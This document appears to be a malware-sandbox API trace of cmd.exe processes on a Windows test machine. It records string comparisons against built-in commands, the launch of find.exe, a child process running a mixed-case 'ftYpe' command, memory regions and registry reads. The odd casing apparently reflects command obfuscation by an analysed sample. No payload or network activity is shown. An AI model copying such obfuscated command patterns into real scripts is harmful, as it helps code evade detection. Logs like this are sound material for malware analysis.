	[0056.224] _wcsicmp (_String1="fINd", _String2="POPD") returned -10
	[0056.224] _wcsicmp (_String1="fINd", _String2="ASSOC") returned 5
	[0056.224] _wcsicmp (_String1="fINd", _String2="FTYPE") returned -11
	[0056.224] _wcsicmp (_String1="fINd", _String2="BREAK") returned 4
	[0056.224] _wcsicmp (_String1="fINd", _String2="COLOR") returned 3
	[0056.224] _wcsicmp (_String1="fINd", _String2="MKLINK") returned -7
	[0056.224] _wcsicmp (_String1="fINd", _String2="DIR") returned 2
	[0056.224] _wcsicmp (_String1="fINd", _String2="ERASE") returned 1
	[0056.224] _wcsicmp (_String1="fINd", _String2="DEL") returned 2
	[0056.224] _wcsicmp (_String1="fINd", _String2="TYPE") returned -14
	[0056.224] _wcsicmp (_String1="fINd", _String2="COPY") returned 3
	[0056.224] _wcsicmp (_String1="fINd", _String2="CD") returned 3
	[0056.224] _wcsicmp (_String1="fINd", _String2="CHDIR") returned 3
	[0056.224] _wcsicmp (_String1="fINd", _String2="RENAME") returned -12
	[0056.224] _wcsicmp (_String1="fINd", _String2="REN") returned -12
	[0056.224] _wcsicmp (_String1="fINd", _String2="ECHO") returned 1
	[0056.224] _wcsicmp (_String1="fINd", _String2="SET") returned -13
	[0056.224] _wcsicmp (_String1="fINd", _String2="PAUSE") returned -10
	[0056.224] _wcsicmp (_String1="fINd", _String2="DATE") returned 2
	[0056.225] _wcsicmp (_String1="fINd", _String2="TIME") returned -14
	[0056.225] _wcsicmp (_String1="fINd", _String2="PROMPT") returned -10
	[0056.225] _wcsicmp (_String1="fINd", _String2="MD") returned -7
	[0056.225] _wcsicmp (_String1="fINd", _String2="MKDIR") returned -7
	[0056.225] _wcsicmp (_String1="fINd", _String2="RD") returned -12
	[0056.225] _wcsicmp (_String1="fINd", _String2="RMDIR") returned -12
	[0056.225] _wcsicmp (_String1="fINd", _String2="PATH") returned -10
	[0056.225] _wcsicmp (_String1="fINd", _String2="GOTO") returned -1
	[0056.225] _wcsicmp (_String1="fINd", _String2="SHIFT") returned -13
	[0056.225] _wcsicmp (_String1="fINd", _String2="CLS") returned 3
	[0056.225] _wcsicmp (_String1="fINd", _String2="CALL") returned 3
	[0056.225] _wcsicmp (_String1="fINd", _String2="VERIFY") returned -16
	[0056.225] _wcsicmp (_String1="fINd", _String2="VER") returned -16
	[0056.225] _wcsicmp (_String1="fINd", _String2="VOL") returned -16
	[0056.225] _wcsicmp (_String1="fINd", _String2="EXIT") returned 1
	[0056.225] _wcsicmp (_String1="fINd", _String2="SETLOCAL") returned -13
	[0056.225] _wcsicmp (_String1="fINd", _String2="ENDLOCAL") returned 1
	[0056.225] _wcsicmp (_String1="fINd", _String2="TITLE") returned -14
	[0056.225] _wcsicmp (_String1="fINd", _String2="START") returned -13
	[0056.225] _wcsicmp (_String1="fINd", _String2="DPATH") returned 2
	[0056.225] _wcsicmp (_String1="fINd", _String2="KEYS") returned -5
	[0056.225] _wcsicmp (_String1="fINd", _String2="MOVE") returned -7
	[0056.225] _wcsicmp (_String1="fINd", _String2="PUSHD") returned -10
	[0056.225] _wcsicmp (_String1="fINd", _String2="POPD") returned -10
	[0056.225] _wcsicmp (_String1="fINd", _String2="ASSOC") returned 5
	[0056.225] _wcsicmp (_String1="fINd", _String2="FTYPE") returned -11
	[0056.225] _wcsicmp (_String1="fINd", _String2="BREAK") returned 4
	[0056.225] _wcsicmp (_String1="fINd", _String2="COLOR") returned 3
	[0056.225] _wcsicmp (_String1="fINd", _String2="MKLINK") returned -7
	[0056.225] _wcsicmp (_String1="fINd", _String2="FOR") returned -6
	[0056.225] _wcsicmp (_String1="fINd", _String2="IF") returned -3
	[0056.225] _wcsicmp (_String1="fINd", _String2="REM") returned -12
	[0056.226] _wcsicmp (_String1="fINd", _String2="DIR") returned 2
	[0056.226] _wcsicmp (_String1="fINd", _String2="ERASE") returned 1
	[0056.226] _wcsicmp (_String1="fINd", _String2="DEL") returned 2
	[0056.226] _wcsicmp (_String1="fINd", _String2="TYPE") returned -14
	[0056.226] _wcsicmp (_String1="fINd", _String2="COPY") returned 3
	[0056.226] _wcsicmp (_String1="fINd", _String2="CD") returned 3
	[0056.226] _wcsicmp (_String1="fINd", _String2="CHDIR") returned 3
	[0056.226] _wcsicmp (_String1="fINd", _String2="RENAME") returned -12
	[0056.226] _wcsicmp (_String1="fINd", _String2="REN") returned -12
	[0056.226] _wcsicmp (_String1="fINd", _String2="ECHO") returned 1
	[0056.226] _wcsicmp (_String1="fINd", _String2="SET") returned -13
	[0056.226] _wcsicmp (_String1="fINd", _String2="PAUSE") returned -10
	[0056.226] _wcsicmp (_String1="fINd", _String2="DATE") returned 2
	[0056.226] _wcsicmp (_String1="fINd", _String2="TIME") returned -14
	[0056.226] _wcsicmp (_String1="fINd", _String2="PROMPT") returned -10
	[0056.226] _wcsicmp (_String1="fINd", _String2="MD") returned -7
	[0056.226] _wcsicmp (_String1="fINd", _String2="MKDIR") returned -7
	[0056.226] _wcsicmp (_String1="fINd", _String2="RD") returned -12
	[0056.226] _wcsicmp (_String1="fINd", _String2="RMDIR") returned -12
	[0056.226] _wcsicmp (_String1="fINd", _String2="PATH") returned -10
	[0056.226] _wcsicmp (_String1="fINd", _String2="GOTO") returned -1
	[0056.226] _wcsicmp (_String1="fINd", _String2="SHIFT") returned -13
	[0056.226] _wcsicmp (_String1="fINd", _String2="CLS") returned 3
	[0056.226] _wcsicmp (_String1="fINd", _String2="CALL") returned 3
	[0056.226] _wcsicmp (_String1="fINd", _String2="VERIFY") returned -16
	[0056.226] _wcsicmp (_String1="fINd", _String2="VER") returned -16
	[0056.226] _wcsicmp (_String1="fINd", _String2="VOL") returned -16
	[0056.226] _wcsicmp (_String1="fINd", _String2="EXIT") returned 1
	[0056.226] _wcsicmp (_String1="fINd", _String2="SETLOCAL") returned -13
	[0056.226] _wcsicmp (_String1="fINd", _String2="ENDLOCAL") returned 1
	[0056.226] _wcsicmp (_String1="fINd", _String2="TITLE") returned -14
	[0056.226] _wcsicmp (_String1="fINd", _String2="START") returned -13
	[0056.226] _wcsicmp (_String1="fINd", _String2="DPATH") returned 2
	[0056.226] _wcsicmp (_String1="fINd", _String2="KEYS") returned -5
	[0056.226] _wcsicmp (_String1="fINd", _String2="MOVE") returned -7
	[0056.226] _wcsicmp (_String1="fINd", _String2="PUSHD") returned -10
	[0056.226] _wcsicmp (_String1="fINd", _String2="POPD") returned -10
	[0056.226] _wcsicmp (_String1="fINd", _String2="ASSOC") returned 5
	[0056.227] _wcsicmp (_String1="fINd", _String2="FTYPE") returned -11
	[0056.227] _wcsicmp (_String1="fINd", _String2="BREAK") returned 4
	[0056.227] _wcsicmp (_String1="fINd", _String2="COLOR") returned 3
	[0056.227] _wcsicmp (_String1="fINd", _String2="MKLINK") returned -7
	[0056.227] _wcsnicmp (_String1="fINd", _String2="cmd ", _MaxCount=0x4) returned 3
	[0056.227] SetErrorMode (uMode=0x0) returned 0x8001
	[0056.227] SetErrorMode (uMode=0x1) returned 0x0
	[0056.227] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x39bdf0, lpFilePart=0x24f6d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x24f6d0*="Desktop") returned 0x19
	[0056.227] SetErrorMode (uMode=0x8001) returned 0x1
	[0056.227] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91
	[0056.227] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0056.230] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0056.230] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91
	[0056.230] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0056.230] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0056.231] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\find.exe", lpCommandLine="fINd  \"SHCm\" ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x24f510*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="fINd  \"SHCm\" ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x24f4c0 | out: lpCommandLine="fINd  \"SHCm\" ", lpProcessInformation=0x24f4c0*(hProcess=0x58, hThread=0x54, dwProcessId=0xb48, dwThreadId=0xb4c)) returned 1
	[0056.328] CloseHandle (hObject=0x54) returned 1
	[0056.328] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0056.328] GetEnvironmentStringsW () returned 0x3a0b00*
	[0056.328] FreeEnvironmentStringsW (penv=0x3a0b00) returned 1
	[0056.328] DeleteProcThreadAttributeList (in: lpAttributeList=0x24f4d8 | out: lpAttributeList=0x24f4d8) 
	[0056.328] _dup2 (_FileHandleSrc=4, _FileHandleDst=0) returned 0
	[0056.328] _close (_FileHandle=4) returned 0
	[0056.328] WaitForSingleObject (hHandle=0x64, dwMilliseconds=0xffffffff) returned 0x0
	[0056.882] GetExitCodeProcess (in: hProcess=0x64, lpExitCode=0x24f9f8 | out: lpExitCode=0x24f9f8*=0x0) returned 1
	[0056.882] CloseHandle (hObject=0x64) returned 1
	[0056.882] WaitForSingleObject (hHandle=0x58, dwMilliseconds=0xffffffff) returned 0x0
	[0056.882] GetExitCodeProcess (in: hProcess=0x58, lpExitCode=0x24f9f8 | out: lpExitCode=0x24f9f8*=0x0) returned 1
	[0056.882] CloseHandle (hObject=0x58) returned 1
	[0056.882] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.882] SetConsoleMode (hConsoleHandle=0x5c, dwMode=0x0) returned 0
	[0056.882] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.882] GetConsoleMode (in: hConsoleHandle=0x5c, lpMode=0x49e6e194 | out: lpMode=0x49e6e194) returned 0
	[0056.882] _get_osfhandle (_FileHandle=0) returned 0x3
	[0056.882] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49e6e198 | out: lpMode=0x49e6e198) returned 1
	[0056.883] SetConsoleInputExeNameW () returned 0x1
	[0056.883] GetConsoleOutputCP () returned 0x1b5
	[0056.883] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0056.883] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0056.883] exit (_Code=0) 

Process:
	id = "5"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x4de9f000"
	os_pid = "0xb40"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0xb38"
	cmd_line = "C:\\Windows\\system32\\cmd.exe  /S /D /c\" ftYpe \""
	cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 1015
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 1016
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 1017
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 1018
	        start_va = 0x110000
	          end_va = 0x20ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000110000"
	        filename = ""

Region:
	              id = 1019
	        start_va = 0x49e40000
	          end_va = 0x49e98fff
	     entry_point = 0x49e40000
	     region_type = mapped_file
	            name = "cmd.exe"
	        filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")

Region:
	              id = 1020
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1021
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1022
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1023
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1024
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 1025
	        start_va = 0x7fffffdb000
	          end_va = 0x7fffffdbfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdb000"
	        filename = ""

Region:
	              id = 1026
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 1027
	        start_va = 0x230000
	          end_va = 0x32ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000230000"
	        filename = ""

Region:
	              id = 1028
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1029
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1030
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 1031
	        start_va = 0x20000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 1032
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1033
	        start_va = 0xc0000
	          end_va = 0xc6fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000c0000"
	        filename = ""

Region:
	              id = 1034
	        start_va = 0xd0000
	          end_va = 0xd1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000d0000"
	        filename = ""

Region:
	              id = 1035
	        start_va = 0xe0000
	          end_va = 0xe0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000e0000"
	        filename = ""

Region:
	              id = 1036
	        start_va = 0xf0000
	          end_va = 0xf0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000f0000"
	        filename = ""

Region:
	              id = 1037
	        start_va = 0x330000
	          end_va = 0x42ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000330000"
	        filename = ""

Region:
	              id = 1038
	        start_va = 0x520000
	          end_va = 0x52ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000520000"
	        filename = ""

Region:
	              id = 1039
	        start_va = 0x530000
	          end_va = 0x6b7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000530000"
	        filename = ""

Region:
	              id = 1040
	        start_va = 0x6c0000
	          end_va = 0x840fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000006c0000"
	        filename = ""

Region:
	              id = 1041
	        start_va = 0x850000
	          end_va = 0x1c4ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000850000"
	        filename = ""

Region:
	              id = 1042
	        start_va = 0x1c50000
	          end_va = 0x1f92fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001c50000"
	        filename = ""

Region:
	              id = 1043
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1044
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1045
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 1046
	        start_va = 0x7fee69d0000
	          end_va = 0x7fee69d7fff
	     entry_point = 0x7fee69d0000
	     region_type = mapped_file
	            name = "winbrand.dll"
	        filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll")

Region:
	              id = 1047
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1048
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 1049
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 1050
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 1051
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1052
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 1053
	        start_va = 0x7feff0e0000
	          end_va = 0x7feff1bafff
	     entry_point = 0x7feff0e0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 1054
	        start_va = 0x7feff1c0000
	          end_va = 0x7feff1defff
	     entry_point = 0x7feff1c0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 1055
	        start_va = 0x7feffc50000
	          end_va = 0x7feffd7cfff
	     entry_point = 0x7feffc50000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")


Thread:
	id = 92
	os_tid = 0xb44

	[0056.259] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20fe50 | out: lpSystemTimeAsFileTime=0x20fe50*(dwLowDateTime=0xe4136bf0, dwHighDateTime=0x1d475a6)) 
	[0056.259] GetCurrentProcessId () returned 0xb40
	[0056.259] GetCurrentThreadId () returned 0xb44
	[0056.259] GetTickCount () returned 0x1e3b9
	[0056.259] QueryPerformanceCounter (in: lpPerformanceCount=0x20fe58 | out: lpPerformanceCount=0x20fe58*=1813543300000) returned 1
	[0056.261] GetModuleHandleW (lpModuleName=0x0) returned 0x49e40000
	[0056.261] __set_app_type (_Type=0x1) 
	[0056.261] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49e67810) returned 0x0
	[0056.261] __getmainargs (in: _Argc=0x49e8a608, _Argv=0x49e8a618, _Env=0x49e8a610, _DoWildCard=0, _StartInfo=0x49e6e0f4 | out: _Argc=0x49e8a608, _Argv=0x49e8a618, _Env=0x49e8a610) returned 0
	[0056.261] GetCurrentThreadId () returned 0xb44
	[0056.261] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb44) returned 0x38
	[0056.261] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000
	[0056.261] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40
	[0056.261] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0056.262] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0056.262] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x20fde8 | out: phkResult=0x20fde8*=0x0) returned 0x2
	[0056.262] VirtualQuery (in: lpAddress=0x20fdd0, lpBuffer=0x20fd50, dwLength=0x30 | out: lpBuffer=0x20fd50*(BaseAddress=0x20f000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0056.262] VirtualQuery (in: lpAddress=0x110000, lpBuffer=0x20fd50, dwLength=0x30 | out: lpBuffer=0x20fd50*(BaseAddress=0x110000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0056.262] VirtualQuery (in: lpAddress=0x111000, lpBuffer=0x20fd50, dwLength=0x30 | out: lpBuffer=0x20fd50*(BaseAddress=0x111000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0056.262] VirtualQuery (in: lpAddress=0x114000, lpBuffer=0x20fd50, dwLength=0x30 | out: lpBuffer=0x20fd50*(BaseAddress=0x114000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0056.262] VirtualQuery (in: lpAddress=0x210000, lpBuffer=0x20fd50, dwLength=0x30 | out: lpBuffer=0x20fd50*(BaseAddress=0x210000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x20000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30
	[0056.262] GetConsoleOutputCP () returned 0x1b5
	[0056.262] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0056.262] SetConsoleCtrlHandler (HandlerRoutine=0x49e63184, Add=1) returned 1
	[0056.263] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.263] SetConsoleMode (hConsoleHandle=0x5c, dwMode=0x0) returned 0
	[0056.263] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.263] GetConsoleMode (in: hConsoleHandle=0x5c, lpMode=0x49e6e194 | out: lpMode=0x49e6e194) returned 0
	[0056.263] _get_osfhandle (_FileHandle=0) returned 0x3
	[0056.263] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49e6e198 | out: lpMode=0x49e6e198) returned 1
	[0056.263] GetEnvironmentStringsW () returned 0x248c00*
	[0056.263] FreeEnvironmentStringsW (penv=0x248c00) returned 1
	[0056.263] GetEnvironmentStringsW () returned 0x248c00*
	[0056.263] FreeEnvironmentStringsW (penv=0x248c00) returned 1
	[0056.263] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x20eca8 | out: phkResult=0x20eca8*=0x40) returned 0x0
	[0056.264] RegQueryValueExW (in: hKey=0x40, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x20eca0, lpData=0x20ecc0, lpcbData=0x20eca4*=0x1000 | out: lpType=0x20eca0*=0x0, lpData=0x20ecc0*=0x18, lpcbData=0x20eca4*=0x1000) returned 0x2
	[0056.264] RegQueryValueExW (in: hKey=0x40, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x20eca0, lpData=0x20ecc0, lpcbData=0x20eca4*=0x1000 | out: lpType=0x20eca0*=0x4, lpData=0x20ecc0*=0x1, lpcbData=0x20eca4*=0x4) returned 0x0
	[0056.264] RegQueryValueExW (in: hKey=0x40, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x20eca0, lpData=0x20ecc0, lpcbData=0x20eca4*=0x1000 | out: lpType=0x20eca0*=0x0, lpData=0x20ecc0*=0x1, lpcbData=0x20eca4*=0x1000) returned 0x2
	[0056.264] RegQueryValueExW (in: hKey=0x40, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x20eca0, lpData=0x20ecc0, lpcbData=0x20eca4*=0x1000 | out: lpType=0x20eca0*=0x4, lpData=0x20ecc0*=0x0, lpcbData=0x20eca4*=0x4) returned 0x0
	[0056.264] RegQueryValueExW (in: hKey=0x40, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x20eca0, lpData=0x20ecc0, lpcbData=0x20eca4*=0x1000 | out: lpType=0x20eca0*=0x4, lpData=0x20ecc0*=0x40, lpcbData=0x20eca4*=0x4) returned 0x0
	[0056.264] RegQueryValueExW (in: hKey=0x40, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x20eca0, lpData=0x20ecc0, lpcbData=0x20eca4*=0x1000 | out: lpType=0x20eca0*=0x4, lpData=0x20ecc0*=0x40, lpcbData=0x20eca4*=0x4) returned 0x0
	[0056.264] RegQueryValueExW (in: hKey=0x40, lpValueName="AutoRun", lpReserved=0x0, lpType=0x20eca0, lpData=0x20ecc0, lpcbData=0x20eca4*=0x1000 | out: lpType=0x20eca0*=0x0, lpData=0x20ecc0*=0x40, lpcbData=0x20eca4*=0x1000) returned 0x2
	[0056.264] RegCloseKey (hKey=0x40) returned 0x0
	[0056.264] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x20eca8 | out: phkResult=0x20eca8*=0x40) returned 0x0
	[0056.264] RegQueryValueExW (in: hKey=0x40, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x20eca0, lpData=0x20ecc0, lpcbData=0x20eca4*=0x1000 | out: lpType=0x20eca0*=0x0, lpData=0x20ecc0*=0x40, lpcbData=0x20eca4*=0x1000) returned 0x2
	[0056.264] RegQueryValueExW (in: hKey=0x40, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x20eca0, lpData=0x20ecc0, lpcbData=0x20eca4*=0x1000 | out: lpType=0x20eca0*=0x4, lpData=0x20ecc0*=0x1, lpcbData=0x20eca4*=0x4) returned 0x0
